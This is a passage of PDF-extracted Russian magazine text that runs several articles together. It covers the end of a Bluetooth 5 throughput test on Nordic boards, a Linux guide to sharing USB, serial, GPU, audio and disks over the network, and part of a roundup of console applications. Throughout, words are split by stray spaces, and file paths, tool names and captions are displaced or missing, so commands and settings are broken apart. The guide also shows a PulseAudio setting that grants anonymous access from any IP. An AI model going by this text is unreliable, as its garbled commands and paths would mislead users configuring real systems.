За пус ти  эму лятор  тер минала,  нап ример  Termite  или  PuTTY  (ско рость
обме на по COM‐пор ту нуж но уста новить в 115 200 бит/c), теперь мы можем
видеть,  как  нас тро ить  ско рость  и  сами  дан ные,  которые  будут  отсы лать ся
и при нимать ся для двух плат.

От крой  пос ледова тель ное  соеди нение  с  COM‐пор том,  который  исполь‐ 
зует ся  для  пла ты  передат чика  (нап ример,  COM3).  Отоб разит ся  коман дная
стро ка.

Вве ди config print в тер минале, что бы рас печатать текущую кон фигура цию.
Вве ди  config  в  тер минале,  что бы  нас тро ить  парамет ры  тес та. Исполь зуй

кла вишу  Tab  для  авто мати чес кого  завер шения  и  для  прос мотра  всех  дос‐ 
тупных команд.

На бери run в тер минале для запус ка тес та.
  мига ет  на  обе их  пла тах,  передат чик  печата ет  в  тер минал

количес тво килобай тов, отправ ленных на UART.
Све тоди од 3

  вклю чает ся  на  обе их  пла тах,  ког да  тест  завер шен.
Передат чик печата ет про шед шее вре мя, про пус кную спо соб ность и количес‐ 
тво бай тов, получен ных ответчи ком.

Све тоди од  4

  вклю чает ся  на  ответчи ке,  и  все  инди като ры  отклю чены
на  передат чике,  это  ука зыва ет  на  то,  что  пла ты  отклю чены.  Передат чик
печата ет текущую кон фигура цию парамет ров и меню.

Све тоди од  1

Те перь  мож но  менять  парамет ры  и  запус кать  тест  для  того,  что бы  пос‐ 
мотреть,  как  изме няет ся  про пус кная  спо соб ность  и  даль ность  для  раз ных
наборов парамет ров.

Мож но, нап ример, менять сле дующие парамет ры:

ATT_MTU size  247 bytes // Объем посылки
Connection interval 7.5 ms // Интервал соединения
Data length extension (DLE) ON // Расширение объема данных посылки
PHY data rate 2 Ms/s // Скорость передачи на физическом уровне

Ес ли  открыть  фун кцию main  это го  при мера,  то  мож но  уви деть,  что  он  мало
чем отли чает ся от при мера с мигани ем све тоди ода, прос то теперь для нас‐ 
трой ки каж дого парамет ра есть своя фун кция:

gatt_mtu_set(m_test_params.att_mtu); // Объем посылки
data_len_ext_set(m_test_params.data_len_ext_enabled); // Расширение 
объема данных посылки
conn_evt_len_ext_set(m_test_params.conn_evt_len_ext_enabled); // 
Интервал соединения
preferred_phy_set(&m_test_params.phys); // Скорость передачи на 
физическом уровне

ЗАКЛЮЧЕНИЕ
Се год ня мы уви дели, что было добав лено в новую спе цифи кацию Bluetooth,
узна ли, как этим управлять, осво или новый мощ ный мик рокон трол лер и бес‐ 
про вод ную переда чу дан ных. Наде юсь, получен ные зна ния будут тебе полез‐ 
ны.  В  сле дующих  выпус ках  я  пос тара юсь  раз вить  тему  прак тичес кого  при‐ 
мене ния BLE5 — нап ример, в нас тоящем хакер ском деле пос тро ения Mesh‐
сетей.

WWW

Ин женер фир мы Texas Instruments (TI) • объ ясня‐ 
ет прин цип работы Bluetooth 5 и про водит свой
зна мени тый тест на 1,5 км
Nordic  Semiconductor 

 :)
• тес тиру ет  осо бен ности
Bluetooth 5 в зим ний пери од

•На чало  работы  с  отла доч ным  ком плек том
Nordic

•Ве бинар, пос вящен ный Bluetooth 5 (на англий‐ 
ском)

Музыкаль ная пауза от авто ра
Те перь  мож но  рас сла бить ся  и  пос лушать  мою  любимую  вещь  у  Кей ко
Мацуи —    (выг лядит  стрем но,  я  не  стал  откры вать.  :) — Прим.
ред.)

Falcon’s  wing
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UNIXOID

В одной из прош лых ста тей мы обсужда ли спо собы под клю‐ 
чения самых раз ных сущ ностей как фай лов и катало гов: Web‐
DAV,  BitTorrent,  SSH  и  даже  память  виде оадап тера.  Но  что,
если мы хотим получить дос туп не к уда лен ному или локаль‐ 
ному сер вису, а к устрой ствам уда лен ной машины? Ска жем,
проб росить на локаль ную машину USB‐порт и исполь зовать
под клю чен ные к нему устрой ства как локаль ные.

Осо бен ность Unix‐подоб ной сис темы — отно сить ся к любому из сво их ком‐ 
понен тов  как  к фай лу — дав но  уже  ста ла  общим мес том  в  раз говорах  о  ее
внут реннем  устрой стве.  И  бес числен ное  количес тво  ста тей  о  том  же  Linux
тому сви детель ство. Обо рудо вание — не исклю чение. Виде окар та, ауди окар‐ 
та,  внеш ний  девайс,  под клю чен ный  через  USB,  в  понима нии  Linux  не  что
иное, как файл.

От того уди витель но, что из всех опе раци онных сис тем толь ко Plan 9 (если
не  счи тать  пары  отпочко вав шихся  про ектов  со  схо жей  судь бой),  в  котором
подоб ный  под ход  доведен  до  логичес кого  кон ца,  спо собен  без  лиш них
телод вижений  рас позна вать  обо рудо вание  уда лен ного  компь юте ра
и управлять им, как сво им собс твен ным.

В Plan  9  за  проб рос обо рудо вания отве чает RPC‐про токол  9P. Он обес‐ 
печива ет дос туп вооб ще к любым фай лам и устрой ствам, как локаль ным, так
и сетевым. К сожале нию, Linux пох вастать таким уни вер саль ным инс тру мен‐ 
том не может. Зато  здесь есть нес коль ко инс тру мен тов  (если не ска зать —
кос тылей), обес печива ющих дос туп к обо рудо ванию уда лен ной машины.

USB
Ког да  речь  заходит  о  проб росе  обо рудо вания  на  дру гой  компь ютер,  воз‐ 
можно, пер вое, что при ходит на ум, — это веб‐камера на домаш нем ноут буке
или  под клю чен ный  к  нему  смар тфон,  дос туп  к  которым  нуж но  обес печить
с уда лен ного дес кто па. Нап ример, из офи са на дру гом кон це города (в дру‐ 
гом городе, в дру гой стра не).

В  подоб ном  слу чае  выручить  может  ути лита  .  Раз вити ем  ути литы
уже  дав нень ко  ник то  не  занимал ся,  но  на  ее  работос пособ ности  это  пока
не  ска залось  —  в  репози тори ях  боль шинс тва  популяр ных  дис три бути вов
такой пакет при сутс тву ет.

USB/IP

Пер вым  делом  пакет  USB/IP  сле дует  уста новить  на  ту  машину,  дос туп
к  устрой ствам которой необ ходимо получить извне. Далее заг ружа ем необ‐ 
ходимые модули:

$ sudo modprobe usbip‐core
$ sudo modprobe usbip‐host

Про веря ем, все ли кор рек тно заг рузилось:

$ sudo lsmod | grep usbip

И запус каем сер вер:

$ sudo usbipd ‐D

Пос коль ку USB/IP  име ет  собс твен ную,  незави симую от  встро енной  сис тему
адре сации, поиск устрой ств выпол няет ся коман дой

$ sudo usbip list ‐l

Она покажет спи сок всех устрой ств, под клю чен ных в дан ный момент в USB‐
шине.

Нас трой ка ути литы USB/IP

Те перь мож но прис тупить непос редс твен но к рас шарива нию девай са (допус‐ 
тим, это будет веб‐камера с индексом 2‐3 из получен ного спис ка):

$ sudo usbip bind ‐‐busid=2‐3

Оче ред ная про вер ка пра виль нос ти выпол ненных дей ствий:

$ sudo usbip list ‐r localhost

С  исходным  компь юте ром  покон чено.  Далее  сле дует  нас тро ить  тот,
на котором будет исполь зовать ся перифе рия пер вого.

Итак,  перей дя  на  кли ент скую  машину,  уста нав лива ем  на  нее  USB/IP
и запус каем:

$ sudo modprobe usbip‐core
$ sudo modprobe vhci‐hcd

Про веря ем дос тупность рас шарен ного обо рудо вания на сер вере по спис ку:

$ sudo usbip ‐‐list АДРЕС_СЕРВЕРА

И при соеди няем нашу камеру:

$ sudo usbip ‐‐attach АДРЕС_СЕРВЕРА 2‐3

Про веря ем резуль тат:

$ sudo usbip ‐‐port

Те перь уда лен ное USB‐устрой ство дол жно появить ся в спис ке локаль ных, и с
ним мож но будет работать, как с любым дру гим. Для про вер ки кор рек тнос ти
под клю чения выпол няем коман ду lsusb:

$ lsusb

INFO

Су щес тву ет  кли ент ская  часть  USB/IP  для  Win‐
dows.  Одна ко  из‐за  ошиб ки  в  вер сии  про токо ла
в ее исполня емом фай ле из короб ки она работа ет
некор рек тно.  Тре буют ся  допол нитель ные  телод‐ 
вижения с под меной кон стант в исходни ках.

RS232
Са мым лаконич ным решени ем вза имно го рас шарива ния в Линук се могут пох‐ 
вастать ся COM‐пор ты. Никакие допол нитель ные драй веры для это го не нуж‐ 
ны. За все отве чает одна малень кая ути лита  , дос тупная в исходни‐ 
ках.  Под ходит  как  для  дос тупа  из  Линук са  к  обо рудо ванию,  под клю чен ному
через  RS232  на  уда лен ном  компь юте ре,  так  и  для  связ ки  двух  девай сов
с COM‐пор тами, под клю чен ных к раз ным машинам, свя зан ным по сети.

remserial

Рас шарить RS232, ука зав сетевой порт (‐p), ско рость, режим stty (‐s) и имя
пор та (здесь /dev/ttyS0), мож но так:

$ remserial ‐d ‐p 23000 ‐s "9600 raw" /dev/ttyS0 &

Под клю чить ся к COM‐девай су, рас положен ному на уда лен ной машине (сер‐ 
вере), — так:

$ remserial ‐d ‐r адрес_сервера ‐p 23000 ‐s "9600 raw" /dev/ttyS0 &

До пус тимо запус кать нес коль ко экзем пля ров прог раммы с раз ными пор тами
и адре сами под клю чен ных девай сов.

Ком пиляция и запуск remserial

ВИДЕОКАРТА
Со бира ясь  рас шаривать  виде окар ту,  умес тно  задать  себе  воп рос:  зачем
это  нуж но? Ведь  недос татка  готовых  решений  от  проп риетар щиков  нет.  Тут
тебе  и  TeamViewer,  сов сем  недав но  порадо вав ший  линук совым  кли ентом,
и  облачные  решения,  встра иваемые  в  бра узер.  Одна ко  не  всег да  все  так
глад ко.

Ви деопод систе мы сов ремен ных ноут буков пов семес тно ста ли делать гиб‐ 
ридны ми,  ког да  на  бор ту  при сутс тву ют  две  виде окар ты:  пер вая —  мощ ная,
но  без головая  —  дис крет ная,  которая  исполь зует ся  для  тру доем ких  задач
и  вклю чает ся  по мере надоб ности для  тран сля ции потоков  через  вто рую —
скром ную интегри рован ную, работа ющую пос тоян но.

Мас шта биро вав  ситу ацию  до  сетевых  раз меров  и  пред ста вив  себе,  что
мощ ная виде окар та находит ся на уда лен ном компь юте ре, а в непос редс твен‐ 
ном дос тупе поль зовате ля лишь ста рень кий нет бук, для которо го уже и запуск
сов ремен ного  бра узе ра  порой  непоз волитель ная  рос кошь,  при ходишь
к решению, взя тому на воору жение все в той же гиб ридной гра фике. Да еще
и инс тру мен тарий тот же — VirtualGL.

INFO

На  самом  деле  все  наобо рот,  и  VirtualGL  изна‐ 
чаль но задумы вал ся для сетевых решений, а хинт
с гиб ридами соз рел потом.

Па кет  VirtualGL  при сутс тву ет  в  боль шинс тве  популяр ных  дис три бути вов,
поэто му все, что нуж но сде лать, — это уста новить его штат ным менед жером
пакетов на обе их машинах и, в зависи мос ти от того, в какой каталог уста нов‐ 
лен  пакет,  запус тить  на  сер вере  кон фигура тор.  В  Arch  Linux  и  его  про‐ 
изводных это дела ется коман дой

$ sudo vglserver_config ‐config +s +f ‐t

Ес ли в тво ей сис теме пакет уста нов лен в  , нуж но про писать пол ный путь:/opt

$ /opt/VirtualGL/bin/vglserver_config ‐config +s +f ‐t

Да лее  переза пус кай  дис плей ный  менед жер,  и  сер вер  мож но  оставлять
в покое.

Ра бота кон фигура тора VirtualGL

На  кли ент ской  машине  пос ле  уста нов ки  VirtualGL  в  нем  самом  ничего  кон‐ 
фигури ровать не надо. Здесь нам понадо бят ся  толь ко  vglconnect и  vglclient.
Зато  нуж но  уста новить  и  нас тро ить  SSH.  Откры ваем  файл  нас тро ек 

 и добав ляем в него такую стро ку:
/etc/

ssh/sshd_config

X11Forwarding yes

Пе реза пус каем сер вис sshd. В сис темах, осно ван ных на systemd, это мож но
сде лать так:

$ systemctl start sshd

По лучить изоб ражение запущен ной на сер вере прог раммы и тем самым про‐ 
верить работос пособ ность связ ки поз волит коман да

$ ssh ‐X логин@сервер НАЗВАНИЕ_ПРОГРАММЫ

Те перь  мож но  с  помощью  vglconnect  под клю чить ся  к  сер веру,  попут но
зашиф ровав тра фик X11 и изоб ражение VGL:

$ vglconnect ‐s логин@сервер

и поп робовать запус тить какое‐нибудь при ложе ние:

$ vglrun ‐q 40 ‐fps 25 НАЗВАНИЕ_ПРОГРАММЫ

Зна чения   (сте пень сжа тия JPEG) и   (час тоту обновле ния кад ров) мож‐ 
но варь иро вать, под бирая мак сималь но воз можные на исполь зуемом канале
(не  резино вом).  Сжа тие  через  JPEG  при  уда лен ном  дос тупе  исполь зует ся
по умол чанию.

‐q ‐fps

При желании вер нуть сис тему в исходное сос тояние поможет коман да

$ sudo vglserver_config ‐unconfig

ЗВУКОВАЯ КАРТА
До появ ления зву ка в кино оно оста валось немым без малого трид цать лет.
У нас вре мени чуть мень ше, поэто му вслед за видео прис тупим к проб роске
аудио.  Здесь  все  еще  про ще,  если  вос поль зовать ся  воз можнос тями  вез‐ 
десуще го PulseAudio.

На  кли енте  и  сер вере  откры ваем  кон фигура цион ный  файл 
  или    и  рас коммен тиру ем стро ку

.  На  сер вере  так же  добав ляем
одну из сле дующих строк:

~/.config/
pulse/default.pa /etc/pulse/default.pa
load‐module  module‐native‐protocol‐tcp

auth‐ip‐acl=127.0.0.1 # Для доступа клиента с конкретным IP
auth‐anonymous=true   # Для доступа с любого IP

Так же  на  кли енте  откры ваем  кон фиг    или 
  (в  зависи мос ти  от  того,  нуж но  ли  уста новить  эти

нас трой ки для одно го поль зовате ля или для всех) и добав ляем:

~/.config/pulse/client.conf /
etc/pulse/client.conf

default‐server = адрес_сервера

Вмес то редак тирова ния   для вывода на уда лен ный сер вер мож‐ 
но исполь зовать ути литу pax11publish:

client.conf

$ pax11publish ‐e ‐S адрес_сервера

От клю чение вывода на уда лен ную машину:

$ pax11publish ‐e ‐r

Что бы изме нения всту пили в силу для кон крет ной прог раммы, исполь зующей
PulseAudio, тре бует ся ее переза пус тить.

Аль тер натив ный вари ант
В  деб рях  интерне та  в  слег ка  запущен ном  виде  мож но  най ти  про ект  ауди‐ 
отран сля ции по сети —  , осно ван ный на ALSA, кодеке Opus и биб лиоте ке
oRTP. Прог рамма прос та в исполь зовании, как авто мат Калаш никова, но усту‐ 
пает  ему  в  безот казнос ти  —  исходни ки  не  обновля лись  с  2014  года.  Есть
подоз рения, что это каса ется лишь пуб лично дос тупных матери алов, пос коль‐ 
ку осно ван ный на нем онлайн‐сер вис ауди ооб мена от того же авто ра 

 выг лядит дос таточ но све жо.

TRX

Clean‐
feed

ДИСКИ
Для мно гих тер мин «рас шарива ние» проч но ассо циирует ся имен но с откры‐ 
тием  дос тупа  к  дис ковым  накопи телям,  их  раз делам  и  хра нящей ся  на  них
информа ции. Даже неис кушен ные поль зовате ли могут пох вастать ся зна нием
сло ва Samba (и не боят ся вбить это сло во в поис ковик, что бы най ти крат кий
тутори ал по быс трой нас трой ке, попут но натыка ясь на новос ти об оче ред ной
обна ружен ной  уяз вимос ти  и  мас совых  эпи деми ях,  выз ванных  ковар ной
вирус ней).

То му, кто при вык находить нет риви аль ные решения, навер няка будет инте‐ 
ресен вари ант экспор та дис кового устрой ства, по спо собу реали зации приб‐ 
лижен ный к про мыш ленным стан дартам. В рам ках воз можнос тей Linux подоб‐ 
ный экспорт дела ется при помощи прог рам мной сис темы DRBD, с 2009 года
вошед шей  в  само  ядро.  Суть  сис темы  отра жена  в  ее  наз вании —  рас пре‐ 
делен ное  реп лициру емое  блоч ное  устрой ство.  Она  обес печива ет  мгно вен‐ 
ную син хро низа цию меж ду локаль ным и уда лен ным блоч ными устрой ства ми.

Под готови тель ная работа зак люча ется в уста нов ке пакета drbd‐utils. Кон‐ 
фигури ровать его мож но пошаго во с помощью drbdsetup, но про ще отре дак‐ 
тировать содер жимое фай ла нас тро ек   на обе их машинах:/etc/drbd.conf

global { usage‐count no; }
common { resync‐rate 100M; }
resource r0 {
 protocol C;
 startup {
   wfc‐timeout  15;
   degr‐wfc‐timeout 60;
 }
 net {
   cram‐hmac‐alg sha1;
   shared‐secret "ПАРОЛЬ";
 }
 on имя_хоста1 {
   device /dev/drbd0;
   disk /dev/sda5;
   address 192.168.0.1:7788;
   meta‐disk internal;
 }
 on имя_хоста2 {
   device /dev/drbd0;
   disk /dev/sda7;
   address 192.168.0.2:7788;
   meta‐disk internal;
 }
}

Оп цией  cram‐hmac‐alg  зада ется  алго ритм  шиф рования,  под держи ваемый
на  обо их  компь юте рах.  Они  перечис лены  в  фай ле  .  Пароль
shared‐secret может содер жать до 64 зна ков.

/proc/crypto

Име на хос тов опре деля ются коман дой  , запус каемой на каж дой
из машин отдель но. Опци ям disk прис ваивают ся наз вания дис ковых накопи‐ 
телей или их раз делов, отно сящих ся к каж дой машине. Сле дом ука зыва ются
IP‐адре са  и  задей ство ван ные  пор ты.  Их  раз мер  про пор циона лен  раз меру
самого устрой ства.

uname ‐n

Так же на обе их машинах запус каем ини циали зацию хра нили ща:

$ sudo drbdadm create‐md drbd0

И стар туем демон DRBD:

$ sudo systemctl enable drbd
$ sudo systemctl start drbd

Да лее перехо дим на ту машину, которая будет работать с дан ными (одновре‐ 
мен ный дос туп к хра нили щу может получить толь ко одна из них), и дела ем ее
мас тером:

$ sudo drbdadm primary all

За тем соз даем и мон тиру ем фай ловую сис тему хра нили ща:

$ sudo mkfs.ext4 /dev/drbd0
$ sudo mount /dev/drbd0 /mnt

В ито ге получил ся сво его рода RAID‐мас сив поверх сети с еди нов ремен ным
дос тупом к нему толь ко одно го из сущес тву ющих хос тов. Впро чем, получить
дос туп  к  дан ным,  находясь  на  дру гой  машине,  так же  воз можно.  Для  это го
нуж но  все го  лишь  раз монти ровать  фай ловую  сис тему  на  текущем мас тере,
сде лать  мас тером  вто рую  машину  и  смон тировать  хра нили ще  на  ней.  Трех
эле мен тарных команд, одну из которых мож но повесить на сочета ние кла виш
сра зу, а две дру гие пред варитель но вста вить в сце нарий, будет дос таточ но.

ВЫВОДЫ
Ли нукс  не  иде ален  и  вре мена ми  может  серь езно  про игры вать  дру гим  сис‐ 
темам  по  сво им  фун кци ональ ным  воз можнос тям,  в  точ ности  как  в  слу чае
с сис темой Plan 9 и уда лен ным дос тупом к аппа рат ным ресур сам компь юте‐ 
ра. В  то же вре мя,  ког да воз ника ет пот ребность решить кон крет ную задачу,
шан сы  най ти  под ходящий  набор  инс тру мен тов  для  это го  прак тичес ки  стоп‐ 
роцен тные.
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UNIXOID

И вновь  на  стра ницах  нашего жур нала  руб рика  «Кто  самый
боль шой  гик на пла нете». В этот раз мы не будем касать ся
темы  тюнин га  рабоче го  сто ла,  уста нав ливать  моза ичные
менед жеры  окон  и  нас тра ивать  авто мон тирова ние.  Вмес то
это го  мы  рас ска жем  об  эффектив ности  выпол нения  пов‐ 
седнев ных задач, а если точ нее — о при ложе ниях, облегча‐ 
ющих эти задачи.

Ес ли ты перешел на Linux сов сем недав но или же работа ешь исклю читель но
в  гра фичес кой  сре де  и  гра фичес ких  при ложе ниях,  то  навер няка  зада ешь ся
воп росом:  а  зачем  столь ко  людей  исполь зуют  кон соль ный  софт?  Я  говорю
не о тер минале и его мощ ной коман дной стро ке, а о кон соль ных при ложе ниях
с  псев догра фичес ким  интерфей сом,  в  которых  вся  визу аль ная  сос тавля‐ 
ющая  —  это  сим волы  (яркий  при мер  из  мира  Windows  —  FAR  и  Norton
Commander).

Ско рее  все го,  ты  дума ешь,  что  поль зовате ли  таких  при ложе ний —  стар‐ 
перы,  которые  уже  не  могут  пере учить ся  и  при вык нуть  к  новому.  Отчасти
это  прав да,  одна ко  есть  и  дру гие  при чины:  ско рость,  удобс тво  и  «чис тота
интерфей са».  Кон соль ный  софт  прос то  неверо ятно  быстр,  им  мож но
управлять не исполь зуя мышь, а глав ное — соз дать зах ламлен ный псев догра‐ 
фичес кий интерфейс прос то невоз можно, он всег да будет содер жать толь ко
необ ходимую информа цию, без лиш них обве сок и декора ций.

Да лее  я  рас ска жу  о  десят ке  при ложе ний  для  решения  пов седнев ных
задач: управле ния фай лами, чте ния поч ты, прос лушива ния музыки и про чего.
Сра зу ска жу, что в спис ке есть нес коль ко гра фичес ких при ложе ний (прос мот‐ 
рщик изоб ражений и PDF‐ридер), но соз даны они с оглядкой на кон соль ный
софт — минима лис тичный интерфейс и пол ное управле ние с кла виату ры. Так
что все будет чес тно.

ФАЙЛЫ: MIDNIGHT COMMANDER
 (или прос то mc) — одно из самых извес тных кон соль ных

при ложе ний.  Это  клон  бес смертно го  Norton  Commander,  соз данный  спе‐ 
циаль но  для  UNIX.  Mc  мож но  уви деть  на  экра не  ноут бука  каж дого  вто рого
адми на, вот толь ко почему‐то все они исполь зуют его как есть, выжигая себе
гла за синим фоном.

Midnight Commander

На  самом  деле  Midnight  Commander  под держи вает  темы,  выбирать
которые  мож но  из  интерфей са  или  отре дак тировав  .
Нап ример, что бы зас тавить mc исполь зовать не режущую гла за тем ную тему,
дос таточ но добавить (изме нить) такую стро ку:

.config/mc/config

skin=dark

Так же рекомен дую изме нить две дру гие опции для отклю чения бес полез ных
стро ки меню свер ху и стро ки кно пок сни зу:

keybar_visible=0
menubar_visible=0

Ну а те, кто не любит стан дар тный редак тор mc и пред почита ет юзать дру гой,
дол жны добавить такую опцию:

use_internal_edit=0

Важ ная осо бен ность mc — уме ние показы вать и запус кать мно гие типы фай‐ 
лов  с  помощью  внеш них  при ложе ний.  Нап ример,  если  ты  выберешь  файл
с изоб ражени ем и наж мешь F3, то уви дишь на экра не информа цию об изоб‐ 
ражении: фор мат, раз мер, глу бина цве та и дру гие дан ные. Эту информа цию
mc получа ет от ути литы identify из пакета ImageMagic. Нажатие Enter запус тит
прос мот рщик  изоб ражений  (по  умол чанию  с  помощью  gqview,  see  или  zgv,
какой най дет ся в сис теме).

Все при вяз ки типов фай лов к при ложе ниям опи саны в фай ле 
. Он инту итив но понятен, так что при желании кон фиг мож но изме‐ 

нить,  что бы  зас тавить  mc  откры вать  фай лы  с  помощью  удоб ных  тебе  при‐ 
ложе ний.

~/.configs/
mc/mc.ext

Midnight Commander здо рово го челове ка

ФАЙЛЫ ПО-ДРУГОМУ: NNN
Двух панель ный  фай ловый  менед жер  не  всег да  удо бен,  ког да  необ ходимо
прос то прой тись по катало гам и най ти/открыть нуж ный файл. В этом слу чае
гораз до  луч ше  подой дет    —  прос той  и  быс трый  как  мол ния  фай ловый
менед жер без  лиш них  обве сок  и  со  всей  необ ходимой фун кци ональ ностью
для навига ции по фай ловой сис теме.

nnn

Nnn  пред став ляет  фай ловое  дерево  в  виде  спис ка  с  ука зани ем  даты
модифи кации  и  раз мера  фай лов.  Навига ция  край не  прос тая  —  стрел ки
вверх/вниз  для  переме щения  по  спис ку,  впе ред/назад  для  перехо да меж ду
катало гами (кла виши h, j, k, l, как в Vim, тоже под держи вают ся). Кла виши   и 
воз вра щают к началь ному и пос ледне му посещен ному катало гу,   откры вает
под робную информа цию о фай ле,   — для пере име нова ния.

& ‐
D

Ctrl + R
В nnn есть сис тема поис ка в реаль ном вре мени, вызыва емая по кла више

,  и  сис тема  зак ладок.  Прос то  наж ми    в  нуж ном  катало ге,  вве ди  имя  зак‐ 
ладки и воз вра щай ся к нему ког да взду мает ся с помощью  .
/ b

Ctrl + V

Ла конич ный интерфейс nnn

ЭЛЕКТРОННАЯ ПОЧТА: MUTT
В сре де поль зовате лей UNIX поч товый кли ент   занима ет при мер но то же
мес то,  что  и  Vim:  его  либо  ненави дят,  либо  не  могут  без  него  жить.  Как  и
у  Vim,  у  mutt  очень  высокий  порог  вхож дения,  его  нель зя  прос то  запус тить
и начать исполь зовать. Точ нее, мож но, но всей мощи кли ента ты не уви дишь.
mutt  необ ходимо  кон фигури ровать,  дол го  подс тра ивая  его  под  себя.  Зато
в  резуль тате  ты  получишь  при ложе ние,  с  помощью  которо го  мож но  обра‐ 
ботать  тон ны писем нам ного быс трее,  чем с помощью любого дру гого  кли‐ 
ента.

mutt

Рас ска зывать  здесь  о  том,  как  кон фигури ровать  mutt,  бес смыс ленно,
это  слиш ком  обширная  тема.  Зато  в  Сети  всег да  мож но  най ти  мно жес тво
пред нас тро енных  кон фигов,  один  из  которых  обя затель но  тебе  подой дет
( ). Сущес тву ют даже 

.
при мер для любите лей Vim он лайн‐генера торы кон фига
mutt

Вот лишь базовый кон фиг mutt для под клю чения к Gmail (имей в виду, тебе
необ ходимо  вклю чить  под дер жку  IMAP  и  соз дать    спе‐ 
циаль но для mutt, если ты исполь зуешь двух фактор ную аутен тифика цию):

па роль  при ложе ния

# Имя отправителя и сортировка от конца к началу
set realname = "Jay Z"
set use_from = yes
set sort = reverse‐threads
set sort_aux = last‐date‐received
# Настройки IMAP/SMTP
set from = zobnin@gmail.com
set imap_user = zobnin@gmail.com
set imap_pass = password
set smtp_url = smtp://yourmail@smtp.gmail.com:587/
set smtp_pass = password
set folder = imaps://imap.gmail.com:993
set spoolfile = +INBOX #or +[Gmail]/Important
set postponed = +[Gmail]/Drafts
set header_cache = ~/.mutt/cache/headers
set message_cachedir = ~/.mutt/cache/bodies
set certificate_file = ~/.mutt/certificates

mutt: прос тота и эффектив ность

ПОЧТА GMAIL: VMAIL
Поль зовате ли mutt делят ся на две груп пы: те, кто не оси лил поч товый кли ент
и ушел на более при выч ный и дру желюб ный к поль зовате лю, и те, кто остался
с  mutt  нав сегда.  Сре ди  пос ледних  в  основном  ока зыва ются  люди,  хорошо
зна комые с Vim и Emacs, поэто му даже в mutt они исполь зуют похожие хот кеи.
Так  почему  бы  прос то  не  написать  пла гин  для  Vim  или  Emacs  и  не  исполь‐ 
зовать редак тор в качес тве поч тового кли ента?

Имен но  так  пос тупил  автор  ,  поч тового  кли ента,  который  интегри‐ 
рует ся  с  Vim.  Vmail  под держи вает  исклю читель но  Gmail,  зато  он  прос то
работа ет. Единс твен ное, что тебе при дет ся сде лать, — уста новить Vmail:

Vmail

$ gem install vmail

До бавить свои логин и пароль в кон фиг  :~/.vmailrc

username: zobnin@gmail.com
password: myverydifficultpass
name: Evgeny Zobnin

И  запус тить  кли ент.  Откро ется  Vim,  и  на  экра не  появит ся  спи сок  писем.
Выбира ем пись мо стре лоч ками, нажима ем Enter, в ниж ней час ти появ ляет ся
текст пись ма. Нажима ем еще раз — воз вра щаем ся обратно. Мож но уда лять
пись ма ( ), помечать звез дочкой  ( ) и выпол нять дру гие опе рации. Vmail
име ет раз витую сис тему поис ка, под держи вает откры тие ссы лок в бра узе ре,
ска чива ние  вло жений  и  прак тичес ки  все  фун кции,  которые  толь ко  могут
понадо бить ся. А самое глав ное — это Vim, а зна чит, при написа нии писем ты
будешь чувс тво вать себя в сво ей тарел ке (если ты, конеч но, пок лонник Vim).

,# ,\*

Vmail: чита ем поч ту в редак торе

МУЗЫКА: MOC
Сре ди  пле еров  для  Linux  труд но  най ти  тот,  что  срав нялся  бы  по  удобс тву
исполь зования с  . Это прос той кон соль ный пле ер, выпол ненный в сти ле
двух панель ного  фай лового  менед жера  (похоже,  это  бес смертная  идея).
С  левой  сто роны  находит ся  менед жер  фай лов,  с  пра вой  —  текущий
плей‐лист. Ты прос то добав ляешь нуж ные фай лы в плей‐лист с помощью кла‐ 
виши   либо добав ляешь весь каталог с помощью   (M3U‐плей лис‐ 
ты так же под держи вают ся).   очи щает плей‐лист. Пре дель но прос‐ 
тое, понят ное и эффектив ное управле ние.

MOC

a Shift + a
Shift + c

Прос тота исполь зования — далеко не единс твен ное пре иму щес тво MOC.
Этот  пле ер  име ет  кли ент‐сер верную  архи тек туру,  а  это  зна чит,  что  пос ле
вклю чения про игры вания ты можешь нажать на  , что бы зак рыть интерфейс.
Музыка будет играть в фоне, и ты даже смо жешь ее кон тро лиро вать из коман‐ 
дной стро ки:

q

$ mocp ‐s # Остановить воспроизведение
$ mocp ‐p # Запустить воспроизведение
$ mocp ‐f # Следующий трек 
$ mocp ‐r # Предыдущий трек

Эти  коман ды  мож но  повесить  на  хот кеи  рабоче го  сто ла  или  исполь зовать
. Еще один вари ант:  .сов мес тно с dmenu икон ка в трее

Как  и  mc,  MOC  по  умол чанию  синий,  так  что  при дет ся  пра вить  кон фиг
(заод но добавим под дер жку рус ско го для MP3‐фай лов, содер жащих уста рев‐ 
шие ID3‐теги). Копиру ем дефол товый кон фиг:

$ cp /usr/share/doc/moc/config.example ~/.moc/config

До бав ляем в него две опции:

Theme = darkdot_theme
ID3v1TagsEncoding = WINDOWS‐1251

MOC: музыка в сти ле Norton Commander

ВИДЕО: MPV
Во  вре мена  пале оли та,  ког да  компь юте ры  были  боль шими  и  мед ленны ми,
сущес тво вал  пле ер,  который  был  спо собен  про игры вать  MPEG4‐видео
на Pentium 166. Называл ся он MPlayer, а его авто ром был Арпад Герёф фи (Ár‐
pád Gereöffy). Пос ле Арпад отс тра нил ся от раз работ ки, и MPlayer начал стаг‐ 
нировать. Сна чала на свет появил ся форк MPlayer 2, а затем mpv.

Клю чевая осо бен ность mpv — все ядность. Ему мож но скор мить бук валь но
все: видео в любых фор матах и раз решени ях, виде опо токи, аудио и ауди опо‐ 
токи, изоб ражение с веб‐камеры. Там, где VLC спот кнет ся и упа дет, mpv спо‐ 
кой но про дол жит про игры вание. И даже извечная проб лема Linux с хар двар‐ 
ным  уско рени ем  ему  не  помеха;  он  без  вся ких  проб лем  перек ладыва ет
декоди рова ние на пле чи виде окар ты,  скром но сооб щая,  что в  этом режиме
виде офиль тры работать не будут.

Mpv  будет  весь ма  удо бен  для  тех,  кто  не  боит ся  кон соли  и  управле ния
с кла виату ры. Прос то запус ти его, ука зав нуж ный файл в качес тве аргу мен та,
а затем управляй вос про изве дени ем с помощью кла виш  ,  ,  ,

,  .  Если  же  тебе  удоб нее  рулить  мыш кой  (нап ример,  если  ты
хочешь смот реть видео на Raspberry Pi), есть прек расная гра фичес кая обер‐ 
тка —  .

влево вправо PgUp
PgDown пробел

SMPlayer

Mpv нас толь ко все яден, что ты даже можешь скор мить ему каталог
с музыкой и он сам дос танет из него плей‐лист и даже покажет на экра не
обложку аль бома

ИЗОБРАЖЕНИЯ: FEH
Ка ким  дол жен  быть  интерфейс  по‐нас тояще му  гиков ско го  прос мот рщи ка
изоб ражений?  Пра виль но,  его  не  дол жно  быть.  Feh  —  край не  прос той,
но очень быс трый прос мот рщик. Прос то ука жи в качес тве аргу мен тов име на
фай лов, и он выведет их на экран. По умол чанию feh показы вает изоб ражения
